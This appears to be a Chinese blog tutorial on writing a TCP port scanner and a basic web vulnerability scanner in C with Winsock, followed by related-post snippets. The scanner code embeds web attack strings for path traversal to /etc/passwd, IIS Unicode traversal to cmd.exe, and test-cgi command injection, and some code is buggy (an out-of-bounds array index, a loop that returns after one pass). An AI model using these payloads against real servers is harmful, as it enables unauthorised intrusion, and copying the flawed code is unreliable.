编写端口扫描器

编写端口扫描器  C++写的
一、端口扫描器功能简介:
服务器上所开放的端口就是潜在的通信通道,也就是一个入侵通道。对目标计算机进行端口扫描,能得到许多有用的信息,进行端口扫描的方法很多,可以是手工进行扫描、也可以用端口扫描软件进行。
扫描器通过选用远程TCP/IP不同的端口的服务,并记录目标给予的回答,通过这种方法可以搜集到很多关于目标主机的各种有用的信息,例如远程系统是否支持匿名登陆、是否存在可写的FTP目录、是否开放TELNET服务和HTTPD服务等。
二、常用端口扫描技术:
1、TCP connect()扫描:
这是最基本的TCP扫描,操作系统提供的connect()系统调用可以用来与每一个感兴趣的目标计算机的端口进行连接。如果端口处于侦听状态,那么connect()就能成功。否则,这个端口是不能用的,即没有提供服务。这个技术的一个最大的优点是,你不需要任何权限。系统中的任何用户都有权利使用这个调用。另一个好处就是速度,如果对每个目标端口以线性的方式,使用单独的connect()调用,那么将会花费相当长的时间,使用者可以通过同时打开多个套接字来加速扫描。使用非阻塞I/O允许你设置一个低的时间用尽周期,同时观察多个套接字。但这种方法的缺点是很容易被察觉,并且被防火墙将扫描信息包过滤掉。目标计算机的logs文件会显示一连串的连接和连接出错消息,并且能很快使它关闭。
2、TCP SYN扫描:
这种技术通常认为是“半开放”扫描,这是因为扫描程序不必要打开一个完全的TCP连接。扫描程序发送的是一个SYN数据包,好象准备打开一个实际的连接并等待反应一样(参考TCP的三次握手建立一个TCP连接的过程)。一个SYN|ACK的返回信息表示端口处于侦听状态:返回RST表示端口没有处于侦听态。如果收到一个SYN|ACK,则扫描程序必须再发送一个RST信号,来关闭这个连接过程。这种扫描技术的优点在于一般不会在目标计算机上留下记录,但这种方法的缺点是必须要有root权限才能建立自己的SYN数据包。
3、TCP FIN 扫描:
SYN扫描虽然是“半开放”方式扫描,但在某些时候也不能完全隐藏扫描者的动作,防火墙和包过滤器会对管理员指定的端口进行监视,有的程序能检测到这些扫描。相反,FIN数据包在扫描过程中却不会遇到过多问题,这种扫描方法的思想是关闭的端口会用适当的RST来回复FIN数据包。另一方面,打开的端口会忽略对FIN数据包的回复。这种方法和系统的实现有一定的关系,有的系统不管端口是否打开都会回复RST,在这种情况下此种扫描就不适用了。另外这种扫描方法可以非常容易的区分服务器是运行Unix系统还是NT系统。
4、IP段扫描:
这种扫描方式并不是新技术,它并不是直接发送TCP探测数据包,而是将数据包分成两个较小的IP段。这样就将一个TCP头分成好几个数据包,从而过滤器就很难探测到。但必须小心:一些程序在处理这些小数据包时会有些麻烦。
5、TCP 反向 ident扫描:
ident 协议允许(rfc1413)看到通过TCP连接的任何进程的拥有者的用户名,即使这个连接不是由这个进程开始的。例如扫描者可以连接到http端口,然后用identd来发现服务器是否正在以root权限运行。这种方法只能在和目标端口建立了一个完整的TCP连接后才能看到。
6、FTP 返回攻击:
FTP协议的一个有趣的特点是它支持代理(proxy)FTP连接,即入侵者可以从自己的计算机self.com和目标主机target.com的FTP server-PI(协议解释器)连接,建立一个控制通信连接。然后请求这个server-PI激活一个有效的server-DTP(数据传输进程)来给Internet上任何地方发送文件。对于一个User-DTP,尽管RFC明确地定义请求一个服务器发送文件到另一个服务器是可以的,但现在这个方法并不是非常有效。这个协议的缺点是“能用来发送不能跟踪的邮件和新闻,给许多服务器造成打击,用尽磁盘,企图越过防火墙”。
7、UDP ICMP端口不能到达扫描:
这种方法与上面几种方法的不同之处在于使用的是UDP协议,而非TCP/IP协议。由于UDP协议很简单,所以扫描变得相对比较困难。这是由于打开的端口对扫描探测并不发送确认信息,关闭的端口也并不需要发送一个错误数据包。幸运的是许多主机在向一个未打开的UDP端口发送数据包时,会返回一个ICMP_PORT_UNREACH错误,这样扫描者就能知道哪个端口是关闭的。UDP和ICMP错误都不保证能到达,因此这种扫描器必须还实现在一个包看上去是丢失的时候能重新传输。这种扫描方法是很慢的,因为RFC对ICMP错误消息的产生速率做了规定。同样这种扫描方法也需要具有root权限。
8、UDP recvfrom()和write() 扫描:
当非root用户不能直接读到端口不能到达错误时,Linux能间接地在它们到达时通知用户。比如,对一个关闭的端口的第二个write()调用将失败。在非阻塞的UDP套接字上调用recvfrom()时,如果ICMP出错还没有到达时回返回EAGAIN-重试。如果ICMP到达时,返回ECONNREFUSED-连接被拒绝。这就是用来查看端口是否打开的技术。
三、编写一个简单的端口扫描程序:
/********************************************/
/* 端口扫描器 源代码 */
/* PortScanner.cpp */
/********************************************/

#include <stdio.h>
#include <string.h>
#include <winsock.h>

int main(int argc, char *argv[]) {

int mysocket;

int pcount = 0; 

struct sockaddr_in my_addr;

WSADATA wsaData;

WORD wVersionRequested=MAKEWORD(1,1);


if(argc < 3) {

printf("usage: %s <host> <maxport>\n", argv[0]);

exit(1);

}


if (WSAStartup(wVersionRequested , &wsaData)){

printf("Winsock Initialization failed.\n");

exit(1);

}


for(int i=1; i < atoi(argv[2]); i++){

if((mysocket = socket(AF_INET, SOCK_STREAM,0)) == INVALID_SOCKET){

printf("Socket Error");

exit(1);

}


my_addr.sin_family = AF_INET;

my_addr.sin_port = htons(i);

my_addr.sin_addr.s_addr = inet_addr(argv[1]);


if(connect(mysocket, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == SOCKET_ERROR)

closesocket(mysocket);

else{

pcount++;

printf("Port %d - open\n", i);

}}


printf("%d ports open on host - %s\n", pcount, argv[1]);

closesocket(mysocket);

WSACleanup();

return 0;
}
这个程序使用Borland C++编译,程序中关键代码是“my_addr.sin_port = htons(i)”,因为变量i是一个循环量,它从一开始到使用者设定值结束,而htons(i)则是对连接远程服务器需要使用的端口进行定义,之后使用connect()函数连接指定端口,通过返回值判断这个端口是否打开,这样一个端口扫描的思路就出现了。
程序中用到的socket函数库是专门实现网络连接的一套综合函数库,这套函数内容丰富,在各种流行编程语言中都有,黑客在学习了C语言和socket函数库以后,便可以快速掌握各种编程语言、并能够编写出相当数量的黑客工具。


一、漏洞扫描器基本原理:
编写漏洞扫描器探查远程服务器上可能存在的具有安全隐患的文件是否存在,它的socket建立过程和上面的端口扫描器是相同的,所不同的是漏洞扫描器通常使用80端口,然后对这个端口发送一个GET文件的请求,服务器接收到请求会返回文件内容,如果文件不存在则返回一个错误提示,通过接收返回内容可以判断文件是否存在。发送和接收数据需要使用函数send()和recv(),另外对流中存在的字符串进行判断需要使用函数strstr(),这除了需要具备socket函数库的知识以外,还需要一些有关string函数库的知识。
二、简单的漏洞扫描源代码:
/********************/
/* 端口扫描器 源代码*/
/********************/

#include <stdio.h>

#include <string.h>

#include <winsock.h>

int main(int argc,char *argv[])

{

if(argc!=2){

printf("Useage : scan [IP address]\n");

return(1);

}

struct sockaddr_in blah;

struct hostent *he;

WSADATA wsaData;

int i;

WORD wVersionRequested;

SOCKET sock;

char buff[1024];

char *ex[10];

ex[1]="GET /../../../../etc/passwd HTTP/1.0\n\n";

ex[2]="GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";

ex[3]="GET /A.ida/%c1%00.ida HTTP/1.0\n\n";

ex[4]="GET /cgi-bin/pfdispaly.cgi?/../../../../etc/motd HTTP/1.0\n\n";

ex[5]="GET /cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd HTTP/1.0\n\n";

ex[6]="GET /cgi-bin/test-cgi?* HTTP/1.0\n\n";

char *fmsg="HTTP/1.1 200 OK";

wVersionRequested = MAKEWORD( 1, 1 );

if (WSAStartup(wVersionRequested , &wsaData)){

printf("Winsock Initialization failed.\n");

exit(1);

}

if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){

printf("Can not create socket.\n");

exit(1);

}

sock = socket(AF_INET,SOCK_STREAM,0);

blah.sin_family = AF_INET;

blah.sin_port = htons(80);

blah.sin_addr.s_addr= inet_addr(argv[1]);

if ((he=gethostbyname(argv[1]))!=NULL){

memcpy((char *)&blah.sin_addr.s_addr,he->h_addr,he->h_length);

}

else{

if((blah.sin_addr.s_addr=inet_addr(argv[1]))==-1){

WSACleanup();

exit(1);

}

}

for (i=1 ; i<7; i++) {

if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){

send(sock,ex[i],strlen(ex[i]),0);

recv(sock,buff,sizeof(buff),0);

if(strstr(buff,fmsg)!=NULL){

printf("\nFound :%s\n", ex[i]);

}

}

closesocket(sock);

WSACleanup();

return(1);

}

}
这段代码可以检测六个漏洞,读者可以根据自己的需要增加漏洞扫描的数量。程序实现的很简洁,概括起来这段程序完成了一下四项工作:
1、连接目标主机SERVER;
2、向目标主机发送GET请求;
3、接收目标返回数据;
4、根据返回数据判断文件是否存在。
三、返回数值:
读者也许不明白,程序究竟依靠返回的什么数值判断文件是否存在的呢?现在让我们修改一下程序,仔细看一下返回来的究竟是什么内容,对上面的程序进行如下修改:
/************************/
/* 检测文件头内容 源代码*/
/************************/

#include <stdio.h>

#include <string.h>

#include <winsock.h>

int main(int argc,char *argv[])

{

if(argc!=2){

printf("Useage : scan [IP address]\n");

return(1);

}

struct sockaddr_in blah;

struct hostent *he;

WSADATA wsaData;

WORD wVersionRequested;

SOCKET sock;

char buff[4096];

char *ex[2];

ex[1]="GET /index.html HTTP/1.0\n\n";

ex[2]="GET /noindex.htm HTTP/1.0\n\n";

wVersionRequested = MAKEWORD( 1, 1 );

if (WSAStartup(wVersionRequested , &wsaData)){

printf("Winsock Initialization failed.\n");

exit(1);

}

if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){

printf("Can not create socket.\n");

exit(1);

}

sock = socket(AF_INET,SOCK_STREAM,0);

blah.sin_family = AF_INET;

blah.sin_port = htons(80);

blah.sin_addr.s_addr= inet_addr(argv[1]);

if ((he=gethostbyname(argv[1]))!=NULL){

memcpy((char *)&blah.sin_addr.s_addr,he->h_addr,he->h_length);

}

else{

if((blah.sin_addr.s_addr=inet_addr(argv[1]))==-1){

WSACleanup();

exit(1);

}

}

if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){

send(sock,ex[1],strlen(ex[1]),0);

recv(sock,buff,sizeof(buff),0);

printf("%s",buff);

send(sock,ex[2],strlen(ex[2]),0);

recv(sock,buff,sizeof(buff),0);

printf("%s",buff);

}

closesocket(sock);

WSACleanup();

return(1);

}
程序将检测文件进行了修改,指对“/index.htm”和“/noindex.htm”进行判断,因为index.htm是默认的页面,所以大多数情况下是存在于服务器上的,而noindex.htm则是没有找到文件的情况,通过对接收回来的流buff的printf()可以清楚地看到返回来的究竟是什么东西。
通过运行程序读者会看到类似下面的内容:
HTTP/1.1 200 OK
Date: Thu, 23 Aug 2001 10:59:31 GMT
Server: Apache/1.3.12 (Unix)
Last-Modified: Thu, 23 Aug 2001 10:44:11 GMT
ETag: "a9c96-b73e-3b84de7b"
Accept-Ranges: bytes
Content-Length: 46910
Connection: close
Content-Type: text/html
这个htm程序的头部说明,返回内容还会有很多,不过下面的内容就是正常的htm文件了,这个头是被隐藏的,所以大多数使用者在平时使用电脑过程中,不会发现htm文件的开始部位,还有一个这样的内容说明。这个头里面包含了很多信息,例如第一行的200 OK就是文件存在的意思,如果是404 NOT FOUND那么就是文件不存在,也就是这个内容才能够让漏洞扫描器正常工作,现在读者应该明白为什么我们编写的漏洞扫描器里面由foundmsg=HTTP/1.1 200 OK的语句了吧。
通过这个头还可以了解到对方服务器使用的是什么系统,例如:Server: Apache/1.3.12 (Unix)就是我们扫描的服务器使用的系统类型。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
端口扫描软件的代码在网上很多,可是并不一定适合基础不深的鸟鸟们学。要不就是代码大多都很长而且使用了多线程(关于多线程的很多概念就够闹腾的了,扫描部分就更算了),让我等小菜都望而生畏;要不就是速度很慢,学会了也派不上用场。今天我就介绍一下自己学习winsock后写的端口扫描软件吧! 端口扫描软件的基本思路就不说了,没有什么很难的算法,大家想想就应该知道的,只要从起始端口到结尾端口都遍历一遍,找到打开的端口输出就可以了。大体的就是这个样子:for(CurrPort=StartPort;CurrPort<=EndPort;CurrPort++) {scan的执行体; }。这个软件没有使用到多线程技术,也就不用考虑那么多的关于多线程的概念了。因此我们的这个扫描软件从两个方面来讨论,第一方面是如何可以找到打开的端口,第二方面是如何提高扫描端口的速度。 一、找到打开的端口 在介绍如何找到打开的端口以前,让我们先来认识一个函数——connect()。connect函数将一个流套接字连接到指定IP地址的指定端口上。connect函数的用法:int connect(SOCKET s,const struct sockaddr FAR* name,int namelen);参数s指定用于连接的套接字句柄,name参数指向一个sockaddr_in结构,用来指定要连接到的服务的IP地址和端口,namelen参数则指定sockaddr_in结构的长度。这个参数连接成功的时候,函数返回0,否则返回值是SOCKET_ERROR。connect函数的用法大体我们就说这么多了。说到这里大家应该想到了吧?我们用connect函数的返回值进行判断,找到打开的端口号。好,看下具体的代码,有详细的注释,如果对函数不明白可以到MSDN或网上查询。 int scan(char *Ip, int StartPort, int EndPort) { clock_t StartTime,EndTime; //扫描的开始时间和结束时间 float CostTime; //扫描过程中耗费的时间 WSADATA wsa; SOCKET s; struct sockaddr_in server; int CurrPort; //当前端口 int ret; WSAStartup(MAKEWORD(2,2),&wsa); //使用winsock函数之前,必须用WSAStartup函数来装入并初始化动态连接库 server.sin_family=AF_INET; //指定地址格式,在winsock中只能使用AF_INET server.sin_addr.s_addr=inet_addr(Ip); //指定被扫描的IP地址 StartTime=clock(); for(CurrPort=StartPort;CurrPort<=EndPort;CurrPort++) { s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); //创建套接字 /* SOCKET socket(int af,int type,int protocol); 为通信连接创建一个套接字 af参数: 指定套接字地址格式,在winsock中只能使用AF_INET type参数: 套接字类型,这里使用了SOCK_STREAM,流套接字 protocol参数:配合type使用,指定协议类型,这里使用IPPROTO_TCP(就是TCP协议) */ server.sin_port=htons(CurrPort); //指定被扫描IP地址的端口号 ret=connect(s,(struct sockaddr *)&server,sizeof(server)); //连接 if(0==ret) //判断连接是否成功 { printf("%s:%d\n",Ip,CurrPort); closesocket(s); } } EndTime=clock(); CostTime=(float)(EndTime-StartTime)/CLOCKS_PER_SEC; printf("Cost time:%f second\n",CostTime); //输出扫描过程中耗费的时间 WSACleanup(); //释放动态连接库并释放被创建的套接字 return 1; }
C语言是一种广泛使用的编程语言,可用于编写各种应用程序,包括网络安全工具。下面是一个简单的C语言端口扫描的示例: ```c #include <stdio.h> #include <stdlib.h> #include <stdbool.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> // 函数原型 bool is_port_open(const char* ip, int port); int main() { const char* ip = "127.0.0.1"; // 扫描的IP地址 int start_port = 1; // 起始端口号 int end_port = 100; // 结束端口号 printf("开始扫描...\n"); for (int port = start_port; port <= end_port; port++) { if (is_port_open(ip, port)) { printf("端口 %d 打开\n", port); } } printf("扫描完成\n"); return 0; } bool is_port_open(const char* ip, int port) { // 创建套接字 int sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd == -1) { perror("无法创建套接字"); return false; } // 设置目标IP地址和端口号 struct sockaddr_in server_address; memset(&server_address, 0, sizeof(struct sockaddr_in)); server_address.sin_family = AF_INET; server_address.sin_addr.s_addr = inet_addr(ip); server_address.sin_port = htons(port); // 尝试连接到目标IP地址和端口 if (connect(sockfd, (struct sockaddr*)&server_address, sizeof(struct sockaddr_in)) == -1) { // 连接失败,表示端口关闭 return false; } // 连接成功,表示端口打开 close(sockfd); return true; } ``` 该端口扫描使用了C语言的套接字编程接口。它通过迭代指定的起始端口到结束端口,尝试连接到目标IP地址和端口。如果连接成功,则表示该端口打开;如果连接失败,则表示该端口关闭。最后,程序输出打开的端口。 请注意,这只是一个简单的端口扫描示例,可能对于某些情况下的高级端口扫描并不适用。对于实际环境中的端口扫描需求,应采用更全面和复杂的方案,并考虑到网络安全和合法性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值